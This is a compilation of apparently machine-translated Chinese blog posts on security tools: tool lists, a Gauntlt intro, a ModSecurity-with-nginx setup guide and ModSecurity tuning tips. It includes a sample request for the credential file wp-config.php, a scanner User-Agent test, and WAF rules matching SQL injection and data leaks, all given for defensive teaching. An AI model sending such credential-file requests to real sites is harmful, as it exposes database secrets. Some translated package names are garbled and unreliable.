- Web漏洞扫描程序 - Burp Suite,Firebug,AppScan,OWASP Zed,Paros Proxy,Nikto,Grendel-Scan
- 漏洞利用工具 - Netsparker,sqlmap,Core Impact,WebGoat,BeEF
- 法医工具 - Helix3 Pro,EnCase,Autopsy
- 端口扫描仪 - Unicornscan,NetScanTools,愤怒的IP扫描仪
- 交通监控工具 - Nagios,Ntop,Splunk,Ngrep,Argus
- 调试器 - IDA Pro,WinDbg,Immunity Debugger,GDB
- Rootkit探测器 - DumpSec,Tripwire,HijackThis
- 加密工具 - KeePass,OpenSSL,OpenSSH / PuTTY / SSH,Tor
- 密码破解者 - John the Ripper, Hydra, ophcrack
我们希望您发现此列表有用。 在下面的评论中分享您的评论,并帮助我们改进此列表。
下载地址:
- Metasploit :https://www.metasploit.com/
- Acunetix WVS:http://www.acunetix.com/vulnerability-scanner/
- Nmap:https://nmap.org/
- Wireshark :https://www.wireshark.org/
- oclHashcat :https://hashcat.net/oclhashcat/
- Nessus:http://www.tenable.com/
- Maltego :https://www.paterva.com/web6/products/maltego.php
- Social-Engineer Toolkit:https://github.com/trustedsec/social-engineer-toolkit/
- Netsparker :https://www.netsparker.com/web-vulnerability-scanner/
- w3af :http://w3af.org/
- John The Ripper:http://www.openwall.com/john/
- Aircrack-ng:https://www.aircrack-ng.org/
- 44 次浏览
【安全工具】57个开源应用程序工具:免费应用程序安全软件指南
阅读此列表的更新版本:您应该考虑的47个强大的开源应用程序秒工具
您无需花费大量资金在应用程序开发和交付日程中引入高功率安全性。这本开源应用程序工具指南旨在帮助那些希望投资应用程序安全软件的团队了解开源领域的内容,以及如何思考这些选择。随后将发布商业app sec供应商指南。
为什么需要免费的app sec工具指南?一般而言,有关应用程序安全性的信息可能会令人困惑,因为网站通常会在没有明确描述所提供解决方案类别的情况下展示产品的优势。这使得将一种产品与下一种产品进行比较变得困难。开源项目的网站通常提供有关特定工具的非常精细的信息,这要求读者已经了解如何以及为何使用特定工具。
开源app sec工具的价值
大多数开源项目都是针对app sec要求而设计的,其规模小于商业供应商所倾向的目标。尽管如此,我们认为这个高度专注的开源应用程序提供商名单应该为安全爱好者所熟悉,他们寻求针对特定类型的网络威胁的新的创造性方法。
其中一些操作系统项目非常活跃,并且经常使用新功能进行更新;其他人,嗯,不是那么多,但他们值得一试。自网络诞生以来,一些更强大的OS技术已经存在;其他人都很新,在推特和其他地方有越来越多的粉丝。
请注意,此处的一些列表是免费的“社区版”的高级商业产品。另请注意,您无法再通过.org或.net后缀识别开源项目。正如您将看到的,许多人现在使用.com约定以及许多其他URL约定。
Andiparos
着名的Paros Proxy的一个分支,一个开源Web应用程序安全评估工具,为渗透测试人员提供了抓取网站,分析内容,拦截和修改请求的能力
网址:https://code.google.com/archive/p/andiparos
BackTrack
这个发行版称为基于Linux的渗透测试工具,配置有数百种安全测试工具和脚本
网址:http://www.backtrack-linux.org
BeEF
开源的渗透测试
网址:http://beefproject.com
Caja
用于使第三方HTML,CSS和JavaScript安全嵌入网站的编译器。它使用对象功能安全模型来实现各种灵活的安全策略。
网址:http://developers.google.com/caja
ClamAV
用于检测特洛伊木马,病毒,恶意软件和其他恶意威胁的开源防病毒引擎
网址:http://clamav.net
DOM Snitch
实验性Chrome扩展程序,使开发人员和测试人员能够识别客户端代码中常见的不安全做法。开发人员和测试人员可以在浏览器内部进行DOM修改,无需使用调试器逐步执行JavaScript代码或暂停其应用程序的执行
网址:https://code.google.com/archive/p/domsnitchdomsnitch
Ettercap
被称为“针对中间人攻击的综合套件......具有嗅探现场连接,动态内容过滤以及许多其他有趣的技巧。”
网址:http://ettercap.github.io/ettercap
GoLismero
用于安全测试的免费软件框架。
网址:http://www.golismero.com
谷歌黑客数据库(GHDB)
SecTools.org将其描述为“安全研究人员和渗透测试人员的金矿”,该网站是漏洞利用数据库的一部分,这是一个非营利性项目,由进攻性安全部门提供为公共服务。
网址:https://www.exploit-db.com/google-hacking-database
Google应用安全工具
谷歌表示,这些工具“解决了其他开源工具中存在的差距。这些工具可能需要进行一些小的调整或编译才能在您的系统上运行。”有些是单独列在此列表中。
网址:https://www.google.com/about/appsecurity/tools
Grabber
Web应用程序扫描程序,可以检测Web应用程序中的许多安全漏洞。一个开源的Web应用程序渗透测试工具
网址:http://rgaucher.info/beta/grabber
Grendel
扫描Web应用程序安全工具以查找安全漏洞;功能也可用于手动渗透测试
网址:https://sourceforge.net/projects/grendel
Gruyere
被称为“小型,俗气的网络应用程序”;允许用户发布文本片段并存储各种文件。警告:Gruyere有多个安全漏洞,包括跨站点脚本和跨站点请求伪造,信息泄露,拒绝服务和远程代码执行
网址:http://google-gruyere.appspot.com
Kali
Linux渗透测试
网址:http://kali.org
Keyczar
开源加密工具包旨在使开发人员在其应用程序中使用加密更容易,更安全。它支持对称和非对称密钥的身份验证和加密;旨在实现开放,可扩展和跨平台兼容。
网址:https://github.com/google/keyczar
Kismet
无线网络探测器,嗅探器和入侵检测系统。 Kismet主要使用Wi-Fi(IEEE 802.11)网络,但可以通过插件扩展以处理其他网络类型。
网址:http://kismetwireless.org
Malwarebytes
适用于Windows的端点安全恶意软件扫描程序。
网址:http://malwarebytes.org
Metasploit
通过Rapid7渗透测试开源的Metasploit
网址:http://metasploit.com
ModSecurity
WAF开源
网址:http://modsecurity.org
Nagios
监控整个IT基础架构,以确保系统,应用程序,服务和业务流程正常运行。
网址:http://nagios.org
Native Client (NaCl)
一种在浏览器中运行本机编译代码的技术。 NaCl旨在保持人们对Web应用程序的操作系统可移植性和安全性
网址:http://developer.chrome.com/native-client
Nikto2
Web服务器测试工具,用于查找已知的易受攻击脚本,配置错误和相关的安全问题
网址:http://cirt.net/nikto2
NMAP
使用NSE脚本进行网络发现和安全审核的渗透测试实用程序,可以检测网络服务中的漏洞,错误配置和安全相关信息
网址:http://nmap.org
NoScript
Firefox插件,为Firefox,Seamonkey和其他基于Mozilla的浏览器提供额外保护;允许JavaScript,Java,Flash和其他插件只能由您选择的受信任网站执行
网址:http://noscript.net
OpenSSH
通过SSH隧道隧道安装不安全的协议来保护两点之间的流量
网址:http://www.openssh.com
OpenVAS
开源漏洞扫描套件
网址:http://openvas.org
OSSEC
基于主机的入侵检测系统或HIDS
网址:http://ossec.github.io
OWASP
owasp.org提供了一大类开源sec测试工具
网址:https://www.owasp.org/index.php/Appendix_A:_Testing_Tools
Packet Storm
提供各种用于漏洞和渗透的扫描仪工具
网址:http://packetstormsecurity.org/files/tags/scanner
Paros Proxy
用于安全性和漏洞测试的测试工具。用于对整个站点进行爬行/爬网,然后执行预装漏洞扫描程序测试
网址:http://www.testingsecurity.com/paros_proxy
Powerfuzzer
基于HTTP协议的应用程序模糊器基于许多其他开源模糊器
网址:http://www.powerfuzzer.com
Ratproxy
旨在克服用户在使用其他代理工具进行安全审核时通常面临的问题;能够区分CSS样式表和JavaScript代码
网址:https://code.google.com/archive/p/ratproxy
Secunia PSI
一种免费的计算机安全解决方案,可识别私人PC上的应用程序中的漏洞
Web:http://learn.flexerasoftware.com/SVM-EVAL-Personal-Software-Inspector
Security Onion
用于入侵检测,网络安全监控和日志管理的Linux发行版
网址:http://blog.securityonion.net
Skipfish
活跃的Web应用程序安全侦察工具。它通过执行递归爬网和字典工具为站点准备交互式站点地图。使用自定义HTTP堆栈编写的C语言,性能高,易于使用且可靠
网址:https://code.google.com/archive/p/skipfish
Snort
用于UNIX衍生产品和Windows的开源,免费和轻量级网络入侵检测系统(NIDS)
网址:http://snort.org
SonarQube
SonarQube™软件(以前称为“Sonar”)是一个管理代码质量的开放平台。因此,它涵盖了7轴代码质量。
网址:https://github.com/SonarSource/sonarqube
SQLMAP
渗透测试工具,自动化在网站数据库中查找和利用SQL注入漏洞的过程
网址:http://sqlmap.org
TCPDUMP
在其网站上称为“功能强大的命令行数据包分析器”,许多人仍然使用此工具作为资源密集型Wireshark的替代工具。
网址:http://tcpdump.org
Vega
Web漏洞扫描器和测试平台; SQL注入,跨站点脚本等
网址:https://subgraph.com/vega
W3AF
SQL注入,跨站点脚本检测工具
网址:http://w3af.org
Wapiti
Web漏洞扫描程序,可让您审核Web应用程序的安全性。它通过扫描网页和注入数据来执行黑盒测试
网址:http://wapiti.sourceforge.net
Watcher
一个Fiddler插件,帮助渗透测试人员被动地发现Web应用程序漏洞
网址:http://websecuritytool.codeplex.com
WATOBO
执行高效(半自动)Web应用程序安全审核
网址:http://watobo.sourceforge.net/index.html
WebScarab
基于Java的安全框架,用于使用HTTP或HTTPS协议分析Web应用程序。用Java编写,可移植到许多平台;提供多种操作模式,由多个插件实现。在最常见的用法中,WebScarab作为拦截代理运行
网址:http://www.owasp.org/index.php/Category:WHASP_WebScarab_Project
Websecurify
GNUCITIZEN(参见商业供应商列表)
网址:
Wfuzz
免费提供的用于Web应用程序渗透测试的开源工具。它可用于强制GET和POST参数,以便针对SQL,XSS,LDAP等许多其他注入进行测试
网址:http://code.google.com/p/wfuzz
SensePost
设备,网络和应用程序的漏洞工具。工具包括autoDANE,reGeorg,Jack和SensePost Maltego工具集
网址:http://sensepost.com
Wireshark
Wireshark渗透测试和数据包级监控开源;根据需要查看详细的流量;关注网络流并发现问题
网址:http://wireshark.org
Zed攻击代理
也称为Zap。开源,拦截代理是fork和更新严重过时的Paros Proxy。相当强大的手动测试,并包含一些自动测试功能。
网址:https://www.owasp.org
讨论:请加入只是星球【首席架构师圈】
- 62 次浏览
【安全工具】Gauntlt是一个安全测试框架,它使用命令行界面(CLI)来运行安全测试或攻击
Gauntlt为各种安全工具提供了钩子,并将它们放在安全,开发和运营团队的手中,以协作构建坚固的软件。 它旨在促进组之间的测试和通信,并创建可操作的测试,这些测试可以连接到您的部署和测试过程中。
特征
- Gauntlt攻击以易于阅读的语言编写
- 轻松连接到组织的测试工具和流程
- 安全工具适配器配有gauntlt
- 使用unix标准错误和标准输出来传递状态
Gauntlt包含这些工具的攻击适配器:
有两种方法可以开始使用gauntlt。 您可以使用gem安装方法,这将需要您下载和设置安全工具(不用担心gauntlt引导您完成)或者您可以使用Gauntlt入门工具包,这是一个流浪脚本,将自动为您启动工具。
Get started using in 3 easy steps
-
Install the gem
$ gem install gauntlt
-
Download example attacks and customize. Here is a very simple network attack using the nmap adapter.
# nmap-simple.attack Feature: simple nmap attack to check for open ports Background: Given "nmap" is installed And the following profile: | name | value | | hostname | example.com | Scenario: Check standard web ports When I launch an "nmap" attack with: """ nmap -F <hostname> """ Then the output should match /80.tcp\s+open/ Then the output should not match: """ 25\/tcp\s+open """
-
Run gauntlt to launch the attack defined above
$ gauntlt # equivalent to gauntlt ./**/*.attack # you can also specify one or more paths yourself: $ gauntlt my_attacks/nmap-simple.attack # other commands to help $ gauntlt --list # the list option will show you the tools that are # available to use with gauntlt $ gauntlt --steps # the steps option will show the gauntlt specific # steps you can use in your attacks $ gauntlt --allsteps # the allsteps option will show all steps including # aruba file operations and parsing steps that are # available to use in attacks $ gauntlt --help # when all else fails use the help
For more attack examples, refer to the examples.
安全测试通常在审计员的日程安排上进行,测试输出并不总是可操作的。 因此,针对已修复问题的回归常常会回到代码中。 这不好。 它应该是不同的。
本文:http://pub.intelligentx.net/gauntlt-be-mean-your-code-and-it
讨论:请加入知识星球【首席架构师圈】
- 44 次浏览
【安全工具】ModSecurity and nginx
nginx是一个网络服务器,它正在世界上越来越多的网站上取代Apache。到目前为止,nginx还不能从ModSecurity提供的安全性中获益。下面是如何安装ModSecurity并让它与nginx一起工作。
今年早些时候,流行的开源网络应用防火墙ModSecurity发布了其软件的第三版。版本3与早期版本有很大的不同,因为它现在已经模块化了。在版本3之前,ModSecurity仅作为一个依赖模块与Apache web服务器一起工作,因此其他HTTP应用程序无法使用ModSecurity。现在,HTTP过滤引擎ModSecurity的核心功能作为一个独立的库libModSecurity存在,它可以通过一个“连接器”集成到任何其他应用程序中。连接器是允许任何应用程序访问libModSecurity的一小段代码。
Web应用程序防火墙(WAF)是用于HTTP请求的一种防火墙。标准防火墙在数据包到达和离开网络接口时检查数据包,并根据规则列表比较数据包的属性。规则规定防火墙是允许数据包通过还是阻止数据包。
ModSecurity执行与标准防火墙相同的任务,但它不是查看数据包,而是在HTTP流量到达服务器时检查它。当HTTP请求到达服务器时,它首先通过ModSecurity路由,然后再路由到目标应用程序,如Apache2或nginx。ModSecurity将入站HTTP请求与规则列表进行比较。这些规则定义了恶意或有害请求的形式,因此,如果传入的请求与规则匹配,ModSecurity将阻止请求到达可能造成伤害的目标应用程序。
下面的例子演示了ModSecurity如何保护WordPress站点。下面的HTTP请求是index.php文件的非恶意请求,它出现在Apache2的日志文件中:
GET /index.php HTTP/1.1
这个请求不匹配任何规则,因此ModSecurity允许它进入web服务器。
WordPress在一个名为wp-config的文件中保存了很多秘密信息,比如数据库密码。它位于与index.php文件相同的目录中。粗心的系统管理员可能不保护这个重要的文件,这意味着像Apache或nginx这样的web服务器很乐意为它提供服务。这是因为它们将提供不受特定配置保护的任何文件。这意味着以下恶意请求:
GET /wp-config.php HTTP/1.1
将由Apache提供给任何请求它的人。
这就是ModSecurity为接受HTTP数据的应用程序提供保护的地方。在本例中,免费的核心ModSecurity规则集包含拒绝任何试图访问WordPress安装中的任何敏感文件的HTTP请求的规则。核心规则集还包含另一个流行的CMS Drupal的规则。
核心规则集还包含许多其他规则,这些规则涵盖了恶意构造HTTP请求以从网站获得访问或机密信息的许多其他方法。这些方法包括SQL注入、漏洞扫描、Java和PHP漏洞利用等等。ModSecurity还支持自定义规则,因此您可以通过编写自己的规则来保护HTTP应用程序免受特定目标的攻击。
首先让我们安装核心ModSecurity库libModSecurity,然后安装nginx连接器,使nginx能够使用ModSecurity。在版本3之前,nginx不可能使用ModSecurity。如果您正在使用Apache2,您应该继续使用ModSecurity version 2,因为Apache2连接器仍然有很多bug,不建议在生产环境中使用。
编译和安装libModSecurity
ModSecurity3不能通过包管理器用于任何主要的Linux发行版。相反,您需要克隆ModSecurity GitHub存储库,并从其源代码构建库。但在此之前,您必须安装所有必需的构建工具和依赖项。下面的列表的包提供了所有必需的和大部分的可选的差异在Debian和Ubuntu发行版:野牛,flex,, automake, gcc, pkg-config, libtool, doxygen, git,卷发,zlib1g-dev, libxml2-dev, libpcre3-dev,建设重要,libyajl-dev, yajl-tools, liblmdb-dev, rdmacm-utils, libgeoip-dev, libcurl4-openssl-dev, liblua5.2-dev, libfuzzy-dev, openssl和libssl-dev。
注意,其中一些包在基于Red hat的发行版上有不同的名称。这个页面将帮助您确定具体的包名是什么。
安装这些包之后,您可以继续编译库。这些指令与分布无关。
首先,克隆libModSecurity git存储库,它将下载构建libModSecurity所需的所有源代码。使用/opt/目录作为所有源代码的目标。移动到/opt/目录,并使用以下命令克隆libModSecurity git存储库:
cd /opt/ git clone https://github.com/SpiderLabs/ModSecurity
接下来,进入克隆ModSecurity存储库时创建的新目录,并切换到v3分支。你还需要引入几个必要的子模块:
cd ModSecurity git checkout v3/master git submodule init git submodule update
现在可以构建libModSecurity了。对于任何从源代码编译程序的人来说,这应该是一个熟悉的过程。你只需要以下三个命令来编译和安装程式库:
sh build.sh ./configure make make install
如果您在一个普通的虚拟服务器上运行make命令,则需要几分钟。libModSecurity库现在安装在/usr/local/modsecurity/lib/ libModSecurity .so上。但是,在安装将HTTP数据连同一些规则重定向到libModSecurity库的应用程序和连接器之前,它不能做任何事情。下一节将介绍如何安装nginx连接器和ModSecurity开发人员提供的核心规则集。
编译nginx连接器
让我们利用nginx动态加载第三方模块的能力来编译nginx连接器。nginx从1.11.5版开始就能够做到这一点。此版本或更高版本在大多数主要发行版的标准存储库中都不可用。nginx为Red Hat/CentOS、Debian和Ubuntu的当前稳定版本提供了存储库,其中包含一个支持动态模块加载的版本。这个页面列出了这些存储库以及将nginx存储库添加到您的发行版的信息。在将nginx存储库添加到存储库配置之后,需要使用包管理器安装nginx。当你安装了nginx,用这个命令找到你安装的版本:
nginx - v
当您拥有版本号时,请切换到/opt/目录并从此页下载与nginx版本匹配的源代码,然后解压缩下载的存档文件。
接下来,您需要为ModSecurity nginx连接器克隆git存储库。从/opt/目录中运行以下命令克隆这个存储库:
git clone https://github.com/SpiderLabs/ModSecurity-nginx
现在切换到解压nginx源存档时创建的新目录。在该目录中,运行以下命令编译连接器:
./configure --with-compat ↪--add-dynamic-module=/opt/ModSecurity-nginx make modules
现在,您需要使用以下命令将连接器模块复制到nginx modules目录中:
cp objs/ngx_http_modsecurity_module.so /etc/nginx/modules/
现在已经编译了nginx连接器并将其复制到正确的位置,您需要配置nginx来使用它。此外,还需要下载libModSecurity用于过滤HTTP数据的规则。
首先,移动到nginx配置目录:
cd /etc/nginx/
并将以下行添加到nginx的主配置文件/etc/nginx/nginx.conf:
load_module modules/ngx_http_modsecurity_module.so;
您需要将这一行放在以pid开头的行下面的第一个部分中,而不是放在事件或http部分中。
接下来,创建一个新的目录,并加载ModSecurity规则和配置到其中:
mkdir /etc/nginx/modsec cd /etc/nginx/modsec git clone https://github.com/SpiderLabs/ ↪owasp-modsecurity-crs.git
使用从git存储库下载的ModSecurity rules配置文件,使用以下命令重新命名它:
mv /etc/nginx/modsec/owasp-modsecurity-crs/ ↪crs-setup.conf.example /etc/nginx/modsec/ ↪owasp-modsecurity-crs/crs-setup.conf
现在需要将ModSecurity配置文件从构建libModSecurity的目录复制到/etc/nginx/modsec/:
cp /opt/ModSecurity/modsecurity.conf-recommended ↪/etc/nginx/modsec/modsecurity.conf
最后,创建一个新的配置文件,加载这两个配置文件和所有规则文件。这个文件将由nginx服务器配置块中的几行代码调用,这将调用ModSecurity的使用。用文本编辑器创建并开始编辑这个文件:
nano /etc/nginx/modsec/main.conf
添加以下三行到这个文件:
Include /etc/nginx/modsec/modsecurity.conf Include /etc/nginx/modsec/owasp-modsecurity-crs/crs-setup.conf Include /etc/nginx/modsec/owasp-modsecurity-crs/rules/*.conf
现在已经完成了nginx、libModSecurity、nginx连接器和ModSecurity规则的构建和安装。现在可以启动或重新启动nginx来加载新配置。如果一切正常,在重新启动nginx时,您不会看到打印出任何错误。
测试ModSecurity
让我们通过向“默认”服务器添加几行代码并发出一个将被ModSecurity阻塞的请求来测试ModSecurity。默认的服务器配置是nginx在安装时使用的配置,并且只在本地主机上监听,而不在面向internet的网络接口上监听。这使得在创建任何自定义服务器配置之前启动nginx是安全的,因为默认配置无法从internet访问。
默认服务器配置位于/etc/nginx/conf.d/default.conf。使用文本编辑器打开此文件,并在server_name行下添加以下两行:
modsecurity on; modsecurity_rules_file /etc/nginx/modsec/main.conf;
重新启动nginx来加载这个新配置。现在,要测试ModSecurity是否正常工作,您所需要做的就是发出一个匹配禁用规则的HTTP请求。
ModSecurity有两种操作模式。默认情况下,它将只记录与禁止规则匹配但允许它们传递给应用程序的查询。这种模式允许系统管理员运行ModSecurity一段时间,并确保没有干扰网站正常运行的假阳性请求被阻塞。ModSecurity将这些与/var/log/modsec_audit.log中禁止的规则匹配的请求记录下来。
您可以创建一个HTTP请求,通过使用curl发出包含禁用用户代理头的请求,该请求将被记录到该日志文件中。下面的命令发出一个HTTP请求,其中包含标题“User-Agent: masscan”。这是一个被禁止的用户代理,所以ModSecurity记录了它目睹了一个被禁止的HTTP请求。这个命令看起来像:
curl -H "User-Agent: masscan" http://localhost/
nginx返回默认的欢迎页面作为原始HTML,但是ModSecurity在/var/log/modsec_audit.log中创建了一个很长的日志条目,开头是:
ModSecurity: Warning. Matched "Operator `PmFromFile' ↪with parameter `scanners-user-agents.data' against &rarrhkk;variable `REQUEST_HEADERS:User-Agent' (Value: `masscan' )
这表明ModSecurity成功拦截并匹配了恶意HTTP请求。
当您想要将ModSecurity从记录恶意HTTP请求切换到主动阻塞它们时,请编辑/etc/nginx/modsec/modsecurity.conf中的行:
SecRuleEngine DetectionOnly
to
SecRuleEngine On
并重启nginx。现在相同的curl请求将导致403错误:
curl -H "User-Agent: masscan" http://localhost/ <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx/1.12.2</center> </body> </html>
被阻塞的请求也将被记录到/var/log/modsec_audit.log。
额外的ModSecurity连接器
ModSecurity新的模块化特性意味着任何接受或处理HTTP数据的应用程序都可以使用ModSecurity及其规则来分析HTTP数据。在撰写本文时,ModSecurity v3的发布质量只有几个月的时间,因此没有太多额外的连接器可以让应用程序连接到libModSecurity。
谷歌代码之夏产生了一些有趣的新连接器。第一个扩展了Snort v3使用ModSecurity规则的能力。Snort是一个入侵检测和实时包嗅探及日志记录应用程序。这个连接器允许Snort将捕获的HTTP数据发送到libModSecurity,并根据ModSecurity规则集对其进行检查。这个项目的主页(https://akoul.github.io/)在这里。
第二个google赞助的连接器目标是node.js服务器。js是一个JavaScript运行时,支持创建可伸缩的网络应用程序。该连接器通过ModSecurity路由所有入站HTTP请求,从而向节点应用程序添加一个安全层。你可以在它的主页上阅读更多关于这个项目的信息(https://m2n.me/gsoc)。
ModSecurity v3的发布将ModSecurity从Apache模块转换为一个灵活的应用程序,任何接受HTTP数据的应用程序都可以轻松地利用这个灵活的应用程序。由于人们所依赖的应用程序越来越多地从本地计算机转移到数据中心,因此确保这些应用程序和数据的安全性变得越来越重要。
原文:https://www.linuxjournal.com/content/modsecurity-and-nginx
本文:
讨论:请加入知识星球或者小红圈【首席架构师圈】
- 110 次浏览
【安全工具】ModSecurity性能的建议
有时我们看到ModSecurity用户在邮件列表中询问性能。在这篇文章中,我将讨论一些提高ModSecurity性能的重要主题。
1 - HTTP缓存和加速
在一个通用的web环境中,静态内容(例如。图像)http通信的大部分区域。通常,用户不希望对这类内容执行安全规则。因此,第一个建议是在ModSecurity前面设置一个HTTP缓存和加速解决方案。
我们有有趣的开源解决方案,其中之一就是Varnish。。您可以将其设置在ModSecurity前面,并将其配置为缓存静态流量。一旦完成,Varnish将开始提供这类内容,ModSecurity将只看到真正需要的东西。
另一个可能的解决方案是设置规则来检测您想要检查和忽略其他文件扩展名:
SecRuleEngine On
SecAction "id:'1', phase:1, t:none,setvar:'tx.inspect_extensions=.html/ .php/', nolog, pass"
SecRule REQUEST_BASENAME "\.(.*)$""chain,capture,allow,setvar:tx.exts=.%(tx.1}/,phase:1, t:none,t:urlDecodeUni, t:lowercase,id:2,logdata:'%{TX.0}'"
SecRule TX:EXTS "!@within %{tx.inspect_extensions}"
然而,这并不是最好的解决方案,因为即使您跳过所有其他规则,ModSecurity也会花时间对这类数据进行缓冲、转发和执行一些规则。
2 -规则选择
如果您正在使用OWASP核心规则集,那么规则选择是另一个要讨论的重要主题。
我们在CRS中有许多类别的规则,您应该重新查看它们,并确定所有类别和规则对您是否重要。
我们建议加载所有规则,但是从性能的角度来看,有时是不可能的。所以你应该做一个风险分析,并载入原始数据。
3 -规则执行模式
OWASP核心规则集项目中的规则可以在两种不同的模式下执行:
自包含模式——规则继承“拒绝”破坏性操作。第一个匹配的规则将被阻塞。
协作检测模式——这是一种“延迟阻塞”操作模式,其中每个匹配规则将继承“通过”操作,并且只会导致异常分数。
从性能的角度来看,自包含模式是最好的解决方案,因为它执行的规则应该少于协作模式,从而减少了由规则引擎和日志引擎引起的开销。然而,从假阳性的角度来看,协作模式可以发出较少的假阳性。
也就是说,您应该首先尝试默认模式(自包含模式),然后决定是否适合您。如果没有,在决定转向协作检测模式之前,我建议先使用ModSecurity规则异常特性。
值得一提的是,只有在SecRuleEngine打开时,才应该从性能的角度看到结果。
4 -规则预过滤
如果您打算编写自己的规则,特别是使用@rx操作符和非平凡的正则表达式来检查大量数据,比如响应体,您应该考虑使用@pm操作符作为预过滤器规则:
SecRule RESPONSE_BODY "@pm some_leak_patterns" "phase:4,chain,id:12345,deny"SecRule RESPONSE_BODY "@rxyour_nontrivial_regex_some_leak_patterns"
@pm操作符使用一种名为Aho-Corasick的快速多模式匹配算法,可以用来避免对入站和出站缓冲区执行regex。
另一个预过滤器的想法是:
- 立即拒绝来自国家的ip
- 立即拒绝有坏名声的ip
- 立即拒绝不允许参数数量的事务
- 立即拒绝参数长度不允许的事务。。
有了这个想法,您可以构建一小组规则,这些规则将在CRS之前运行,并将立即拒绝事务,以避免根据所有CRS规则检查它们。
5 -缓冲
ModSecurity工作,缓冲入站和出站数据到belater受规则检查。与此主题相关的主要瓶颈是缓冲响应体,原因有二:它将消耗大量RAM,并且通常放置在响应体阶段的规则非常昂贵。
也就是说,您可以考虑禁用响应体检查功能,将SecResponseBodyAccess设置为Off,并有条件地启用它,在特定情况下使用针对特定类型ecresponsebodymimetypes的responseBodyAccessOn ..
例如:
SecResponseBodyMimeType text/plain text/html text/xml
SecResponseBodyAccess Off
SecRule REQUEST_BODY|ARGS "@pm union select""phase:2,chain,id:1234,ctl:responseBodyAccess=On"
SecRule REQUEST_BODY|ARGS "@rxyour_nontrivial_regex_union_select"
SecRule RESPONSE_BODY "@pm some_leak_patterns""phase:4,chain,id:12345,deny"
SecRule RESPONSE_BODY "@rxyour_nontrivial_regex_some_leak_patterns"
6 -日志
如果你不集中注意力,日志引擎可能会成为性能杀手:
在规则中不断执行调优过程,以避免太多的误报。请记住,磁盘i/o非常昂贵,并且您不希望花费资源来记录误报。
不要使用串行记录模式。它使用锁来保护文件,这会降低性能。而是使用并发模式。
检查正在记录的审计日志部分。像k和E这样的部分可能会增加日志引擎带来的开销,因为它通常需要向磁盘写入大量数据。
不要启用生产中的调试日志。
7 - PCRE-JIT
在pcrelibrary中插入了即时编译器支持(>=8.20)。即时编译是一种优化,可以极大地加快模式匹配操作。当相同的条件被多次匹配时,效果最好。
发布8.20 21-Oct-2011——
这个版本的主要变化是包含了ZoltanHerczeg的即时编译器支持,可以通过构建PCREwith——enable-jit来访问它。8.20还修复了8.13中引入的一个不幸的bug,并消除了与Perl的一些错误和差异。
ModSecurity 2.7。x系列可以使用PCRE-JIT执行regex。从性能的角度来看,这是一个非常好的特性。要启用它,您必须使用以下配置选项编译ModSecurity:
./configure –enable-pcre-jit
确保您的PCRE库是使用JIT支持编译的(使用上面的PCRE发行说明中描述的选项)。而且modsecurityandapache必须使用相同的库版本。你可以查看intoerror log来检查它。
例如,我们发送了一个大的输入,请求体规则处理并测量了花费的时间:
JIT Disabled Phase 2 rules = 422749 usecs
JIT Enabled Phase 2 rules = 115777 usecs
看看这个例子,pcr -jit可以使规则平均速度提高75%。
8.缓存Lua虚拟机
这适用于需要在同一事务中执行多个Lua脚本的人。正常情况下,ModSecurity会创建并销毁一个运行在同一事务中的VM foreach lua脚本。你可以改变这个行为,重新编译ModSecurity与选项:
./configure –enable-lua-cache
重新编译后,ModSecurity将在整个事务期间将LuaVM保存在内存中,从而减少create/destroyVM操作造成的开销。
作为一个例子,让我们来测量在同一事务中执行的三个脚本的性能:
禁用缓存
Lua: Executing script: /etc/apache2/modsecurity/script1.lua
Lua: Script completed in 742 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script2.lua
Lua: Script completed in 517 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script3.lua
Lua: Script completed in 489 usec, returning: 1.
Total: 1748usecs
缓存启用
Lua: Executing script: /etc/apache2/modsecurity/script1.lua
Lua: Script completed in 592 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script2.lua
Lua: Script completed in 130 usec, returning: 1.
Lua: Executing script: /etc/apache2/modsecurity/script3.lua
Lua: Script completed in 101 usec, returning: 1.
Total: 823usecs
我们可以看到由VM创建/销毁操作导致的开销减少了约50%。
9.检测昂贵的规则。
如果有更多的性能问题,您可以尝试以下步骤来找到昂贵的规则,然后有机会改进它。
作为一个例子,假设我们试图检测运行在阶段2(请求体)上的昂贵规则。如果您使用的是最新的modsecurity版本(>= 2.7.4),则可以使用所有这些特性。
创建一个规则来检测阶段2是否存在问题。假设1000微秒太多了
SecRule PERF_PHASE2 "@qt 1000" "id:1234,phase:3"
如果你有一个触发器,它表明你有昂贵的规则。因此,让我们试着检测它们是否添加了遵循规则
# All rules that spent more than 50usecs will be present inaudit log part H
SecRulePerfTime 50
# PERF_RULES is a collection that will contain all rulesthat spent more than SecRulePerfTime vallue to run.
SecRule PERF_RULES "@qt 50" "id:1,phase:3"
所以如果你有昂贵的规则,我们会看到警告:
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103]ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:960032. [file"/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"][line "2"] [id "1"] [hostname "192.168.0.104"][uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103]ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:958022. [file"/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"][line "2"] [id "1"] [hostname "192.168.0.104"][uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
[Tue Apr 23 17:50:26 2013] [error] [client 192.168.0.103]ModSecurity: Warning. Operator GT matched 50 at PERF_RULES:973323. [file"/etc/apache2/modsecurity/owasp-modsecurity-crs-2.2.6/base_rules/modsecurity_crs_99_perl.conf"][line "2"] [id "1"] [hostname "192.168.0.104"][uri "/acao.php"] [unique_id "UXcCIsCoAGUAACvOLqcAAAAD"]
我们可以看到,规则960032、958022和973323的执行花费了50 usecs。,但具体需要多少时间呢?您将把这些信息放入审计日志H部分:
Rules-Performance-Info: "960032=622","958022=731", "973323=109".
请查看参考手册以查看所有PERF_variables。
10 -永久存储
